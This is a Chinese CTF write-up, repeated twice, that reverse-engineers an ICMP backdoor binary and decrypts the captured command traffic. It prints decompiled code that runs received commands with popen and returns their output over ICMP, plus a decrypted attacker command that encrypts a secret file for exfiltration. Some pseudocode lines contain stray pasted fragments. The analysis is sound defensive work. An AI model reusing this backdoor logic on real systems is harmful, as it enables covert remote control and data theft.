N0PSctf 2025 writeup

N0PSctf 2025 writeup

pwntopiashl

题目描述

N0PStopia has been attacked by PwnTopia! They installed a stealthy binary on one of our servers, but we did not understand what it does! Can you help? We saw some weird ICMP traffic during the attack, you can find attached a capture file.

分析

题目给了给 elf 和 一个 pcap

pcap 里面包含了几组畸形的ICMP流量

ida 打开 pwntopiashl 文件,关键逻辑都在 icmp_packet_listener​ 函数中

在进行分析之前需要先大致看过一遍,因为IDA在反汇编这个函数的时候有几个的错误需要手动纠正,不然就没法分析

首先

1. 需要注意的是这个 `memset(s, 0, 0x63C0uLL)`​ ,可以看到 s 的大小应该是 0x63C0,但是IDA把它识别成了char s[20],这里会导致后面伪代码错误

![image](assets/image-20250602191118-i856y49.png)

2. 还需要注意这个存储key的变量v9,ida会把它识别成一个 __int16,但是看下面的解密过程 `dest[j] ^= *((_BYTE *)&v9 + (j & 7))`​ 其实可以推断出这个 v9 的长度为 8

![image](assets/image-20250602191343-80czbc9.png)

修正完这两个地方,伪代码即可看出正确的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
void __noreturn icmp_packet_listener()
{
size_t i_1; // rbx
size_t v1; // rbx
size_t i_2; // rbx
int i_4; // eax
sockaddr addr; // [rsp+0h] [rbp-C810h] BYREF
_BYTE buf[32]; // [rsp+10h] [rbp-C800h] BYREF
__int8 v6[8]; // [rsp+38h] [rbp-C7D8h]
char dest[25536]; // [rsp+40h] [rbp-C7D0h] BYREF
char s[25536]; // [rsp+6400h] [rbp-6410h] BYREF
int i_5; // [rsp+C7C0h] [rbp-50h]
int j_1; // [rsp+C7C4h] [rbp-4Ch]
FILE *stream; // [rsp+C7C8h] [rbp-48h]
int v12; // [rsp+C7D0h] [rbp-40h]
int n28; // [rsp+C7D4h] [rbp-3Ch]
char *v14; // [rsp+C7D8h] [rbp-38h]
char *s_1; // [rsp+C7E0h] [rbp-30h]
int fd; // [rsp+C7ECh] [rbp-24h]
int i; // [rsp+C7F0h] [rbp-20h]
int j; // [rsp+C7F4h] [rbp-1Ch]
int v19; // [rsp+C7F8h] [rbp-18h]
unsigned int i_3; // [rsp+C7FCh] [rbp-14h]

fd = socket(2, 3, 1);
if ( fd < 0 )
exit(1);
while ( 1 )
{
do
memset(s, 0, sizeof(s));
while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );
s_1 = s;
v14 = &s[20];
n28 = 28;
if ( s[20] == 0xC && v14[1] == 0x23 )
{
*(_WORD *)v6 = *((_WORD *)v14 + 1);s[20] == 0xC 和 s[21] == 0x23 的时候进入这个判断,进行密钥的生成
v6[2] = rand();
v6[3] = rand();
v6[4] = v6[0] ^ v6[1];
v6[5] = v6[2] ^ v6[3];
v6[6] = v6[0] ^ v6[2];
v6[7] = v6[1] ^ v6[3];
memset(buf, 0, sizeof(buf));
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
buf[0] = 0;
*(_WORD *)&buf[2] = *(_WORD *)&v6[2];
sleep(1u);
sendto(fd, buf, v12 + 8LL, 0, &addr, 0x10u);
}
if ( *v14 == 0x13 && v14[1] == 0x2A )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
memset(dest, 0, sizeof(dest));
memcpy(dest, &s[n28], (unsigned int)(25535 - n28));
for ( i = 25536; ; --i )
{
i_1 = i;
if ( i_1 < strlen(dest) || dest[i - 1] )
break;
}
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
puts(dest);
fflush(_bss_start);
stream = popen(dest, "r");
if ( stream )
{
memset(dest, 0, sizeof(dest));
memset(s, 0, sizeof(s));
while ( fgets(s, 25536, stream) )
{
v1 = strlen(dest);
if ( v1 + strlen(s) > 0x63BE )
break;
strcat(dest, s);
}
pclose(stream);
i = strlen(dest);
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
for ( i = 25536; ; --i )
{
i_2 = i;
if ( i_2 < strlen(dest) || dest[i - 1] )
break;
}
v19 = 0;
i_3 = i;
j_1 = ((unsigned __int64)i >> 4) + 1;
for ( j = 0; j < j_1; ++j )
{
memset(buf, 0, sizeof(buf));
buf[0] = 8;
i_4 = i_3;v14[1] == 0x23
if ( i_3 > 0x10 )
i_4 = 16;
i_5 = i_4;
sprintf(&buf[8], "%04d%04d", j + 1, j_1);
memcpy(&buf[16], &dest[v19], i_5);
v19 += i_5;
i_3 -= i_5;
sleep(1u);
sendto(fd, buf, i_5 + 16LL, 0, &addr, 0x10u);
}
}
}
}
}

程序大致做了几个关键的事情:

  1. 首先创建了一个接受 ICMP 包的 socket,这里 socket(2, 3, 1)​ 对应的源码应该是 socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)​ ,这些宏定义的值可以在 /usr/include/bits/socket_type.h​ 和 /usr/include/bits/socket.h​中找到,或者一些插件也可以还原出来。

  2. while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );​ 循环接收 ICMP 包

  3. 生成密钥

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    v14 = &s[20];    
    //分析可以得出 s[20] == 0xC 和 s[21] == 0x23 的时候进入这个判断,进行密钥的生成
    if ( s[20] == 0xC && v14[1] == 0x23 )
    {
    // 取出 v14 + 1 处的一个 _WORD 赋值给 v6 这个地址,其实就是接收的包的 s[22]、s[23]
    *(_WORD *)v6 = *((_WORD *)v14 + 1);
    // 生成两个随机数赋值给 v6[2] 和 v6[3]
    v6[2] = rand();
    v6[3] = rand();
    // 密钥的后面 4 个是由 前面4个字节变换出来的
    v6[4] = v6[0] ^ v6[1];
    v6[5] = v6[2] ^ v6[3];
    v6[6] = v6[0] ^ v6[2];
    v6[7] = v6[1] ^ v6[3];
    // 到这里密钥就由 ICMP 携带的两个字节以及生成的两个随机数以及他们变换出来的 4 个直接共同组成密钥,存储在了 v6
    memset(buf, 0, sizeof(buf));
    addr.sa_family = 2;
    *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
    buf[0] = 0;
    // 这里只把随机生成的两个字节(一个WORD)最为回包发送出去
    *(_WORD *)&buf[2] = *(_WORD *)&v6[2];
    sleep(1u);
    sendto(fd, buf, v12 + 8LL, 0, &addr, 0x10u);
    }
  4. 执行命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
       n28 = 28;
    ......
    // 当 s[20] == 0x13 和 s[21] == 0x2A 的时候进入这个判断,执行命令
    if ( *v14 == 0x13 && v14[1] == 0x2A )
    {
    addr.sa_family = 2;
    *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
    memset(dest, 0, sizeof(dest));
    memcpy(dest, &s[n28], (unsigned int)(25535 - n28));
    for ( i = 25536; ; --i )
    {
    i_1 = i;
    if ( i_1 < strlen(dest) || dest[i - 1] )
    break;
    }
    // 需要关注的是这里,会把传入的数据和 v6 也就是上个步骤生成 key 进行循环异或
    for ( j = 0; j < i; ++j )
    dest[j] ^= v6[j & 7];
    puts(dest);
    fflush(_bss_start);
    // 传入 popen 执行
    stream = popen(dest, "r");
  5. 返回执行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
        // 执行传进来的命令
    stream = popen(dest, "r");
    if ( stream )
    {
    memset(dest, 0, sizeof(dest));
    memset(s, 0, sizeof(s));
    // 获取执行结果
    while ( fgets(s, 25536, stream) )
    {
    v1 = strlen(dest);
    if ( v1 + strlen(s) > 0x63BE )
    break;
    strcat(dest, s);
    }
    pclose(stream);
    i = strlen(dest);
    // 把执行结果和 key 进行异或
    for ( j = 0; j < i; ++j )
    dest[j] ^= v6[j & 7];
    ......
    for ( j = 0; j < j_1; ++j )
    {
    memset(buf, 0, sizeof(buf));
    buf[0] = 8;
    i_4 = i_3;
    if ( i_3 > 0x10 )
    i_4 = 16;
    i_5 = i_4;
    // 给每个数据打上序号
    sprintf(&buf[8], "%04d%04d", j + 1, j_1);
    memcpy(&buf[16], &dest[v19], i_5);
    v19 += i_5;
    i_3 -= i_5;
    sleep(1u);
    // 回复 ICMP
    sendto(fd, buf, i_5 + 16LL, 0, &addr, 0x10u);
    }

至此分析完了这个程序的功能,可以看出这个其实是一个基于 ICMP 的后门,通讯的流程为

  1. 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0xC 和 code ** 0x23 进行密钥生成,为下一步执行命令做准备
  2. 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0x13 和 code ** 0x2A 执行命令,命令使用第一步协商的密钥进行加密
  3. 回复命令执行结果,使用 key 加密

所以给的 pcap 就是执行命令的流量,需要我们解密这个流量

需要知道的是 key 的组成,是由发起者发送的嵌在ICMP里面的 2 个字节,后门生成的 2 个字节,以及这 4 个直接拼接起来后变换出来的 4 个直接,一共 8 个字节,首先筛选出这个流量包,以第一次执行命令的流量为例,首先 1.3.3.7 向 7.3.3.1 发送了一个 type 为 12 (0xc),code 为 35 (0x23)的 ICMP 包,在 code 的后面在本应该是 checksum 的位置携带了 2 个字节 da0a

image

7.3.3.1 的相应包中携带了 key 的两个字节 dee0 ,一样也在 checksum 的位置

image

到这里密钥协商完成,得出key的前4个字节,生成剩下的 4 个字节即可获得 key

1
2
3
4
5
6
7
key = b"\xda\x0a\xde\xe0"
key += bytes([key[0] ^ key[1]])
key += bytes([key[2] ^ key[3]])
key += bytes([key[0] ^ key[2]])
key += bytes([key[1] ^ key[3]])
print(bytes.hex(key))
# da0adee0d03e04ea

依次类推可以推出所有的 key

然后就是执行命令的数据包

执行命令的 icmp 包为:s[20] == 0x13 和 s[21] == 0x2A​,也就是 type 为 19 (0x13),code 为 42 (0x2a)

跳过ICMP头(8字节)得到数据 b36e

image

组合起来就是

1
2
3
4
5
6
7
8
9
10
11
12
key = b"\xda\x0a\xde\xe0"
key += bytes([key[0] ^ key[1]])
key += bytes([key[2] ^ key[3]])
key += bytes([key[0] ^ key[2]])
key += bytes([key[1] ^ key[3]])
print(bytes.hex(key))
enc = bytes.fromhex("b36e")
result = bytes([enc[j] ^ key[j % len(key)] for j in range(len(enc))])
print(result)

# da0adee0d03e04ea
# b'id'

依次类推,解密所有执行的命令

最后一条命令应该就是加密了 flag

1
cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops

image

单独解密这个返回包数据

1
2
3
4
5
a = bytes.fromhex("bf389a3784df6025b23bf737a4fc0329de409f3cb4f07a0ca765f30d93db7d279d72ae2dbad9792a896c9073b9a0552b804d9a088fab5c3eab63a53199e00121e0")
key = bytes.fromhex("ea0adc44e098364e")
result = bytes([a[j] ^ key[j % len(key)] for j in range(len(a))])
print(result)
# U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o

N0PS{v3Ry_s734lThY_1cMP_sh3Ll}得出 openssl aes-256-cbc 加密后的密文,使用 openssl 解密,得出 flag

1
2
$ echo U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o | base64 -d |  openssl enc -aes-256-cbc -d -salt -pbkdf2 -pass pass:we_pwned_nops
N0PS{v3Ry_s734lThY_1cMP_sh3Ll}

可以用 scapy 实现自动提取解密

但是,我没写。。。。

只有草稿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from scapy.all import *
from scapy.layers.inet import ICMP

k = b""

def extract_key(packet):
if ICMP in packet and packet[ICMP].type == 12 and packet[ICMP].code == 35:
icmp_data = bytes(packet[ICMP])
if len(icmp_data) >= 6:

key = icmp_data[2:4] # 假设v6在偏移4-5字节
src_ip = packet[IP].src
if key == b"\x3c\xff":
key += b"\xb4\xe8"
if key == b"\xda\x0a":
key += b"\xde\xe0"
if key == b"\xea\x0a":
key += b"\xdc\x44"
if key == b"\x56\x3d":
key += b"\x93\x70"
global k
key += bytes([key[0] ^ key[1]])
key += bytes([key[2] ^ key[3]])
key += bytes([key[0] ^ key[2]])
key += bytes([key[1] ^ key[3]])

k = key
print("======================================================================")
print("Found key", bytes.hex(k))


def decrypt_data(data, key):
decrypted = []
key_len = len(key)
for i, byte in enumerate(data):
decrypted.append(byte ^ key[i % key_len])
return bytes(decrypted)

def process_packet(packet):
if IP in packet and ICMP in packet:
icmp = packet[ICMP]
# 处理攻击者的命令包(类型19,代码42)
if icmp.type == 19 and icmp.code == 42:
src_ip = packet[IP].src
if True:
key = k
encrypted_data = bytes(icmp)[8:]
print(bytes.hex(encrypted_data))
decrypted = decrypt_data(encrypted_data, key)
print(f"Decrypted command from {src_ip}: {decrypted.decode(errors='ignore')}")
elif icmp.type == 0:
dst_ip = packet[IP].dst
if True:
key = k
# 跳过ICMP头8字节
encrypted_data = bytes(icmp)[8:]
print(bytes.hex(encrypted_data))
decrypted = decrypt_data(encrypted_data, key)
print(f"Decrypted response to {dst_ip}: {decrypted.decode(errors='ignore')}")


packets = rdpcap('capture.pcap')

for pkt in packets:
if ICMP in pkt:
extract_key(pkt)
process_packet(pkt)

a = bytes.fromhex("bf389a3784df6025b23bf737a4fc0329de409f3cb4f07a0ca765f30d93db7d279d72ae2dbad9792a896c9073b9a0552b804d9a088fab5c3eab63a53199e00121e0")
key = bytes.fromhex("ea0adc44e098364e")
result = bytes([a[j] ^ key[j % len(key)] for j in range(len(a))])
print(result)
# U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o

# bf389a3784df6025b23bf737a4fc0329
# de409f3cb4f07a0ca765f30d93db7d27
# 9d72ae2dbad9792a896c9073b9a0552b
# 804d9a088fab5c3eab63a53199e00121e0


# echo U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o | base64 -d | openssl enc -aes-256-cbc -d -salt -pbkdf2 -pass pass:we_pwned_nops

pwntopiashl

题目描述

N0PStopia has been attacked by PwnTopia! They installed a stealthy binary on one of our servers, but we did not understand what it does! Can you help? We saw some weird ICMP traffic during the attack, you can find attached a capture file.

分析

题目给了给 elf 和 一个 pcap

pcap 里面包含了几组畸形的ICMP流量

ida 打开 pwntopiashl 文件,关键逻辑都在 icmp_packet_listener​ 函数中

在进行分析之前需要先大致看过一遍,因为IDA在反汇编这个函数的时候有几个的错误需要手动纠正,不然就没法分析

首先

  1. 需要注意的是这个 memset(s, 0, 0x63C0uLL)​ ,可以看到 s 的大小应该是 0x63C0,但是IDA把它识别成了char s[20],这里会导致后面伪代码错误

    image

  2. 还需要注意这个存储key的变量v9,ida会把它识别成一个 __int16,但是看下面的解密过程 dest[j] ^= *((_BYTE *)&v9 + (j & 7))​ 其实可以推断出这个 v9 的长度为 8

    image

修正完这两个地方,伪代码即可看出正确的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
void __noreturn icmp_packet_listener()
{
size_t i_1; // rbx
size_t v1; // rbx
size_t i_2; // rbx
int i_4; // eax
sockaddr addr; // [rsp+0h] [rbp-C810h] BYREF
_BYTE buf[32]; // [rsp+10h] [rbp-C800h] BYREF
__int8 v6[8]; // [rsp+38h] [rbp-C7D8h]
char dest[25536]; // [rsp+40h] [rbp-C7D0h] BYREF
char s[25536]; // [rsp+6400h] [rbp-6410h] BYREF
int i_5; // [rsp+C7C0h] [rbp-50h]
int j_1; // [rsp+C7C4h] [rbp-4Ch]
FILE *stream; // [rsp+C7C8h] [rbp-48h]
int v12; // [rsp+C7D0h] [rbp-40h]
int n28; // [rsp+C7D4h] [rbp-3Ch]
char *v14; // [rsp+C7D8h] [rbp-38h]
char *s_1; // [rsp+C7E0h] [rbp-30h]
int fd; // [rsp+C7ECh] [rbp-24h]
int i; // [rsp+C7F0h] [rbp-20h]
int j; // [rsp+C7F4h] [rbp-1Ch]
int v19; // [rsp+C7F8h] [rbp-18h]
unsigned int i_3; // [rsp+C7FCh] [rbp-14h]

fd = socket(2, 3, 1);
if ( fd < 0 )
exit(1);
while ( 1 )
{
do
memset(s, 0, sizeof(s));
while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );
s_1 = s;
v14 = &s[20];
n28 = 28;
if ( s[20] == 0xC && v14[1] == 0x23 )
{
*(_WORD *)v6 = *((_WORD *)v14 + 1);s[20] == 0xC 和 s[21] == 0x23 的时候进入这个判断,进行密钥的生成
v6[2] = rand();
v6[3] = rand();
v6[4] = v6[0] ^ v6[1];
v6[5] = v6[2] ^ v6[3];
v6[6] = v6[0] ^ v6[2];
v6[7] = v6[1] ^ v6[3];
memset(buf, 0, sizeof(buf));
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
buf[0] = 0;
*(_WORD *)&buf[2] = *(_WORD *)&v6[2];
sleep(1u);
sendto(fd, buf, v12 + 8LL, 0, &addr, 0x10u);
}
if ( *v14 == 0x13 && v14[1] == 0x2A )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
memset(dest, 0, sizeof(dest));
memcpy(dest, &s[n28], (unsigned int)(25535 - n28));
for ( i = 25536; ; --i )
{
i_1 = i;
if ( i_1 < strlen(dest) || dest[i - 1] )
break;
}
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
puts(dest);
fflush(_bss_start);
stream = popen(dest, "r");
if ( stream )
{
memset(dest, 0, sizeof(dest));
memset(s, 0, sizeof(s));
while ( fgets(s, 25536, stream) )
{
v1 = strlen(dest);
if ( v1 + strlen(s) > 0x63BE )
break;
strcat(dest, s);
}
pclose(stream);
i = strlen(dest);
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
for ( i = 25536; ; --i )
{
i_2 = i;
if ( i_2 < strlen(dest) || dest[i - 1] )
break;
}
v19 = 0;
i_3 = i;
j_1 = ((unsigned __int64)i >> 4) + 1;
for ( j = 0; j < j_1; ++j )
{
memset(buf, 0, sizeof(buf));
buf[0] = 8;
i_4 = i_3;v14[1] == 0x23
if ( i_3 > 0x10 )
i_4 = 16;
i_5 = i_4;
sprintf(&buf[8], "%04d%04d", j + 1, j_1);
memcpy(&buf[16], &dest[v19], i_5);
v19 += i_5;
i_3 -= i_5;
sleep(1u);
sendto(fd, buf, i_5 + 16LL, 0, &addr, 0x10u);
}
}
}
}
}

程序大致做了几个关键的事情:

  1. 首先创建了一个接受 ICMP 包的 socket,这里 socket(2, 3, 1)​ 对应的源码应该是 socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)​ ,这些宏定义的值可以在 /usr/include/bits/socket_type.h​ 和 /usr/include/bits/socket.h​中找到,或者一些插件也可以还原出来。

  2. while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );​ 循环接收 ICMP 包

  3. 生成密钥

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    v14 = &s[20];    
    //分析可以得出 s[20] == 0xC 和 s[21] == 0x23 的时候进入这个判断,进行密钥的生成
    if ( s[20] == 0xC && v14[1] == 0x23 )
    {
    // 取出 v14 + 1 处的一个 _WORD 赋值给 v6 这个地址,其实就是接收的包的 s[22]、s[23]
    *(_WORD *)v6 = *((_WORD *)v14 + 1);
    // 生成两个随机数赋值给 v6[2] 和 v6[3]
    v6[2] = rand();
    v6[3] = rand();
    // 密钥的后面 4 个是由 前面4个字节变换出来的
    v6[4] = v6[0] ^ v6[1];
    v6[5] = v6[2] ^ v6[3];
    v6[6] = v6[0] ^ v6[2];
    v6[7] = v6[1] ^ v6[3];
    // 到这里密钥就由 ICMP 携带的两个字节以及生成的两个随机数以及他们变换出来的 4 个直接共同组成密钥,存储在了 v6
    memset(buf, 0, sizeof(buf));
    addr.sa_family = 2;
    *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
    buf[0] = 0;
    // 这里只把随机生成的两个字节(一个WORD)最为回包发送出去
    *(_WORD *)&buf[2] = *(_WORD *)&v6[2];
    sleep(1u);
    sendto(fd, buf, v12 + 8LL, 0, &addr, 0x10u);
    }
  4. 执行命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
       n28 = 28;
    ......
    // 当 s[20] == 0x13 和 s[21] == 0x2A 的时候进入这个判断,执行命令
    if ( *v14 == 0x13 && v14[1] == 0x2A )
    {
    addr.sa_family = 2;
    *(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
    memset(dest, 0, sizeof(dest));
    memcpy(dest, &s[n28], (unsigned int)(25535 - n28));
    for ( i = 25536; ; --i )
    {
    i_1 = i;
    if ( i_1 < strlen(dest) || dest[i - 1] )
    break;
    }
    // 需要关注的是这里,会把传入的数据和 v6 也就是上个步骤生成 key 进行循环异或
    for ( j = 0; j < i; ++j )
    dest[j] ^= v6[j & 7];
    puts(dest);
    fflush(_bss_start);
    // 传入 popen 执行
    stream = popen(dest, "r");
  5. 返回执行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
        // 执行传进来的命令
    stream = popen(dest, "r");
    if ( stream )
    {
    memset(dest, 0, sizeof(dest));
    memset(s, 0, sizeof(s));
    // 获取执行结果
    while ( fgets(s, 25536, stream) )
    {
    v1 = strlen(dest);
    if ( v1 + strlen(s) > 0x63BE )
    break;
    strcat(dest, s);
    }
    pclose(stream);
    i = strlen(dest);
    // 把执行结果和 key 进行异或
    for ( j = 0; j < i; ++j )
    dest[j] ^= v6[j & 7];
    ......
    for ( j = 0; j < j_1; ++j )
    {
    memset(buf, 0, sizeof(buf));
    buf[0] = 8;
    i_4 = i_3;
    if ( i_3 > 0x10 )
    i_4 = 16;
    i_5 = i_4;
    // 给每个数据打上序号
    sprintf(&buf[8], "%04d%04d", j + 1, j_1);
    memcpy(&buf[16], &dest[v19], i_5);
    v19 += i_5;
    i_3 -= i_5;
    sleep(1u);
    // 回复 ICMP
    sendto(fd, buf, i_5 + 16LL, 0, &addr, 0x10u);
    }

至此分析完了这个程序的功能,可以看出这个其实是一个基于 ICMP 的后门,通讯的流程为

  1. 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0xC 和 code ** 0x23 进行密钥生成,为下一步执行命令做准备
  2. 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0x13 和 code ** 0x2A 执行命令,命令使用第一步协商的密钥进行加密
  3. 回复命令执行结果,使用 key 加密

所以给的 pcap 就是执行命令的流量,需要我们解密这个流量

需要知道的是 key 的组成,是由发起者发送的嵌在ICMP里面的 2 个字节,后门生成的 2 个字节,以及这 4 个直接拼接起来后变换出来的 4 个直接,一共 8 个字节,首先筛选出这个流量包,以第一次执行命令的流量为例,首先 1.3.3.7 向 7.3.3.1 发送了一个 type 为 12 (0xc),code 为 35 (0x23)的 ICMP 包,在 code 的后面在本应该是 checksum 的位置携带了 2 个字节 da0a

image

7.3.3.1 的相应包中携带了 key 的两个字节 dee0 ,一样也在 checksum 的位置

image

​​

到这里密钥协商完成,得出key的前4个字节,生成剩下的 4 个字节即可获得 key

1
2
3
4
5
6
7
key = b"\xda\x0a\xde\xe0"
key += bytes([key[0] ^ key[1]])
key += bytes([key[2] ^ key[3]])
key += bytes([key[0] ^ key[2]])
key += bytes([key[1] ^ key[3]])
print(bytes.hex(key))
# da0adee0d03e04ea

依次类推可以推出所有的 key

然后就是执行命令的数据包

执行命令的 icmp 包为:s[20] == 0x13 和 s[21] == 0x2A​,也就是 type 为 19 (0x13),code 为 42 (0x2a)

跳过ICMP头(8字节)得到数据 b36e

image

​​

组合起来就是

1
2
3
4
5
6
7
8
9
10
11
12
key = b"\xda\x0a\xde\xe0"
key += bytes([key[0] ^ key[1]])
key += bytes([key[2] ^ key[3]])
key += bytes([key[0] ^ key[2]])
key += bytes([key[1] ^ key[3]])
print(bytes.hex(key))
enc = bytes.fromhex("b36e")
result = bytes([enc[j] ^ key[j % len(key)] for j in range(len(enc))])
print(result)

# da0adee0d03e04ea
# b'id'

依次类推,解密所有执行的命令

最后一条命令应该就是加密了 flag

1
cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops

​​

image

单独解密这个返回包数据

1
2
3
4
5
a = bytes.fromhex("bf389a3784df6025b23bf737a4fc0329de409f3cb4f07a0ca765f30d93db7d279d72ae2dbad9792a896c9073b9a0552b804d9a088fab5c3eab63a53199e00121e0")
key = bytes.fromhex("ea0adc44e098364e")
result = bytes([a[j] ^ key[j % len(key)] for j in range(len(a))])
print(result)
# U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o

N0PS{v3Ry_s734lThY_1cMP_sh3Ll}得出 openssl aes-256-cbc 加密后的密文,使用 openssl 解密,得出 flag

1
2
$ echo U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o | base64 -d |  openssl enc -aes-256-cbc -d -salt -pbkdf2 -pass pass:we_pwned_nops
N0PS{v3Ry_s734lThY_1cMP_sh3Ll}

可以用 scapy 实现自动提取解密

但是,我没写。。。。

只有草稿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from scapy.all import *
from scapy.layers.inet import ICMP

k = b""

def extract_key(packet):
if ICMP in packet and packet[ICMP].type == 12 and packet[ICMP].code == 35:
icmp_data = bytes(packet[ICMP])
if len(icmp_data) >= 6:

key = icmp_data[2:4] # 假设v6在偏移4-5字节
src_ip = packet[IP].src
if key == b"\x3c\xff":
key += b"\xb4\xe8"
if key == b"\xda\x0a":
key += b"\xde\xe0"
if key == b"\xea\x0a":
key += b"\xdc\x44"
if key == b"\x56\x3d":
key += b"\x93\x70"
global k
key += bytes([key[0] ^ key[1]])
key += bytes([key[2] ^ key[3]])
key += bytes([key[0] ^ key[2]])
key += bytes([key[1] ^ key[3]])

k = key
print("======================================================================")
print("Found key", bytes.hex(k))


def decrypt_data(data, key):
decrypted = []
key_len = len(key)
for i, byte in enumerate(data):
decrypted.append(byte ^ key[i % key_len])
return bytes(decrypted)

def process_packet(packet):
if IP in packet and ICMP in packet:
icmp = packet[ICMP]
# 处理攻击者的命令包(类型19,代码42)
if icmp.type == 19 and icmp.code == 42:
src_ip = packet[IP].src
if True:
key = k
encrypted_data = bytes(icmp)[8:]
print(bytes.hex(encrypted_data))
decrypted = decrypt_data(encrypted_data, key)
print(f"Decrypted command from {src_ip}: {decrypted.decode(errors='ignore')}")
elif icmp.type == 0:
dst_ip = packet[IP].dst
if True:
key = k
# 跳过ICMP头8字节
encrypted_data = bytes(icmp)[8:]
print(bytes.hex(encrypted_data))
decrypted = decrypt_data(encrypted_data, key)
print(f"Decrypted response to {dst_ip}: {decrypted.decode(errors='ignore')}")


packets = rdpcap('capture.pcap')

for pkt in packets:
if ICMP in pkt:
extract_key(pkt)
process_packet(pkt)

a = bytes.fromhex("bf389a3784df6025b23bf737a4fc0329de409f3cb4f07a0ca765f30d93db7d279d72ae2dbad9792a896c9073b9a0552b804d9a088fab5c3eab63a53199e00121e0")
key = bytes.fromhex("ea0adc44e098364e")
result = bytes([a[j] ^ key[j % len(key)] for j in range(len(a))])
print(result)
# U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o

# bf389a3784df6025b23bf737a4fc0329
# de409f3cb4f07a0ca765f30d93db7d27
# 9d72ae2dbad9792a896c9073b9a0552b
# 804d9a088fab5c3eab63a53199e00121e0


# echo U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o | base64 -d | openssl enc -aes-256-cbc -d -salt -pbkdf2 -pass pass:we_pwned_nops

Break My Stream

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os

class CrypTopiaSC:

@staticmethod
def KSA(key, n):
S = list(range(n))
j = 0
for i in range(n):
